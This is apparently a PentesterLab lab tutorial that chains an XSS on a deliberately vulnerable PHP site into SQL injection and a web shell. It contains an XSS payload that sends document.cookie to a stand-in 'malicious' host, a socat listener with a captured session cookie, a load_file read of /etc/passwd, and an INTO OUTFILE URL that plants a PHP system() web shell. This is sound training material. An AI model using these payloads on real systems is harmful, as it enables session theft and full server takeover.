This exercise explains how you can use a Cross-Site Scripting vulnerability to get access to an administrator's cookies. Then how you can use his/her session to gain access to the administration to find a SQL injection and gain code execution using it.


This course details the exploitation of a Cross-Site Scripting in a PHP based website and how an attacker can use it to gain access to the administration pages. Then, using this access, the attacker will be able to gain code execution on the server using SQL injections.

The attack is divided into 2 steps:

  1. Detection and exploitation of Cross-Site Scripting vulnerabilities: in this part, you will learn how to detect and exploit Cross-Site Scripting vulnerabilities.
  2. Access to the administration pages, then find and exploit an SQL injection to gain code execution. The last step in which you will access the operating system and run commands.

The ISO contains a script that runs automatically every minute. This script simulates an administrator visiting every page of the website.

Cross-Site Scripting

Cross-Site Scripting stems from a lack of encoding when information gets sent to application's users. This can be used to inject arbitrary HTML and JavaScript; the result being that this payload runs in the web browser of legitimate users. As opposed to other attacks, XSS vulnerabilities target an application's users, instead of directly targeting the server.


To detect trivial Cross-Site Scripting vulnerabilities, the easiest way is to detect a lack of encoding in values echoed back in the page. For example, you can use the following commonly used characters in HTML: '"><. If these characters don't get properly encoded, you may be able to write your own HTML/JavaScript and get it to be rendered in victim's browser. You can add a marker to easily find your payload in the page, for example: 1337'"><.

Your payload can appear in the following ways in the page sent back by the server (and/or any other pages in the application, including pages you may not have access to):

1337'"><1337'"><No encoding performed, you can get a Cross-Site Scripting using <script> tag.
1337'"><1337'"&gt;&lt;> and < are encoded, you can still find some Cross-Site Scripting bugs if you can inject directly inside a <script> tag, or in some tags like <a tag and <img tag. Also this encoding may not be applied everywhere.
1337'"><1337'&quot;&gt;&lt;This is the encoding performed by a lot of filters. You can still get JavaScript to execute if you are injecting inside a <script> tag where your entry point is delimited by a single quote
1337'"><1337&#39;&quot;><With this encoding, you will still be able to get JavaScript executed in very limited cases. For example, if the value is directly echoed without single or double quote <a id=[INPUT] or if you control a URL for example <a href="[INPUT]" and you can use the JavaScript handler: javascript:...

Once you find where the information you provided is not correctly encoded, you will want to exploit this issue. The first thing is to ensure that the victim (here the script running on the ISO) has access to your system. You need to make sure the ISO can access the server where you will send the information to (using the XSS). Ensure there is no firewall blocking the ISO from accessing your malicious server.

A lot can go wrong and can prevent a successful exploitation, and you will need to make sure that you have the correct syntax.

Our goal here, is to get the victim's cookie. To do so, you can create a comment that include the following payload:

<script>document.write('<img src="http://malicious/?'+document.cookie+'  "/>');</script>

Where malicious is the IP address or hostname of your server. When the comment will get loaded by the victim, the content of the <script> tag will get interpreted and will write (due to the call to document.write) in the page a <img tag with a URL that contains the cookie (due to the concatenation of the cookie by the JavaScript code). The browser will then try to load this image. Since the image's URL contains the cookie, the malicious server will receive it.

On your server, you can run Apache or any web server, the only thing is that you need to be able to read the logs of all HTTP requests.

You can also use socat to get the requests from the victim:

# socat TCP-LISTEN:80,reuseaddr,fork -

Once the victim visits your malicious server (here simulated by a script in the ISO running every minute), his/her browser will evaluate the payload and sent his/her cookies to your malicious server:

# socat TCP-LISTEN:80,reuseaddr,fork -
GET /?PHPSESSID=07st4kqcbdr2ddrd4naalt9504 HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.1 Safari/534.34
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: malicious

We now have the cookie of the victim: PHPSESSID=07st4kqcbdr2ddrd4naalt9504.

Access to the administration interface

Once you get the cookie, you can use a cookie editor or developer tools to set your cookie to the value you stole using the XSS:

XSS cookie

Once you set this cookie properly, you should be able to access the administration interface by clicking on the admin link on the main page:

admin interface

Now, that you have more access, it's time to find another vulnerability to get a shell.

SQL injection with MySQL FILE

If you are not confident enough to find the SQL injection by yourself, you should look into our previous exercise "From SQL Injection To Shell".

The FILE privilege allows MySQL users to interact with the filesystem. If you have direct access to the database, you can gather a list of users with this privilege by running:

SELECT user FROM mysql.user WHERE file_priv='Y';

If the current user has FILE privilege and you have an SQL injection, you will be able to read and write file on the system. You will have the same access level as the user used to run the MySQL server.

Exploitation to retrieve information

First, you will need to find the vulnerable page. Once you find it, you can start retrieving information.

If you learnt from our previous exercise "From SQL Injection To Shell", it's pretty trivial to retrieve information from the database. Here we will just retrieve the current user (using the MySQL function user()) using a UNION SELECT:

admin interface

We can confirm that we have file access by reading arbitrary files on the system. Using the MySQL function load_file using UNION SELECT we can retrieve the content of /etc/passwd:

admin interface

Exploitation to deploy a Web Shell

Now that we can read files, we can try to create a file. The idea is to create a PHP file that we will then access using our browser. First, we will try to get the current path. To get the current path, the easiest way is to get PHP to generate an error. You can, for example, use the common PHP array (id[]=) trick:


Now that we have the current path: /var/www/classes/post.php (/var/www being the default on Debian), we can try to find somewhere the mysql user (default user on Debian) has write-access to.

The best way to do it is to try directories recursively::

Unfortunately, no file gets created on the server and Apache returns a 404 error page:

classes rep

If we keep browsing the website and look at the HTML source, we can find a /css directory. When we try it http://vulnerable/admin/edit.php?id=1%20union%20select%201,2,3,4%20into%20outfile%20%22/var/www/css/s.php%22, we can see that a file has been created:

css rep

Now that we can create file on the server, we will use this to deploy a Web Shell. The Web Shell will contain some PHP code to run arbitrary command:


We are going to put this PHP code in one of the column of our payload: http://vulnerable/admin/edit.php?id=1%20union%20select%201,2,%22%3C?php%20system\($_GET[%27c%27]\);%20?%3E%22,4%20into%20outfile%20%22/var/www/css/z.php%22 and create the file on the server.

When we try to access the PHP page and by adding the c parameter for our script http://vulnerable/css/z.php?c=uname%20-a, we get arbitrary command execution:



This exercise showed you how to manually detect and exploit Cross-Site Scripting vulnerabilities and SQL injection with FILE privilege. First, the Cross-Site Scripting vulnerability allowed you to gain access to the administration pages. Once in the "Trusted zone", more functionalities are available which lead to more vulnerabilities. Using the fact that the MySQL user had high privileges you were able to gain code execution on the server by deploying a Web Shell through an SQL injection. This shows how defence-in-depth and lowering privileges could have slow down an attacker, and perhaps limit/prevent the full compromise of the server. I hope you enjoyed learning with PentesterLab.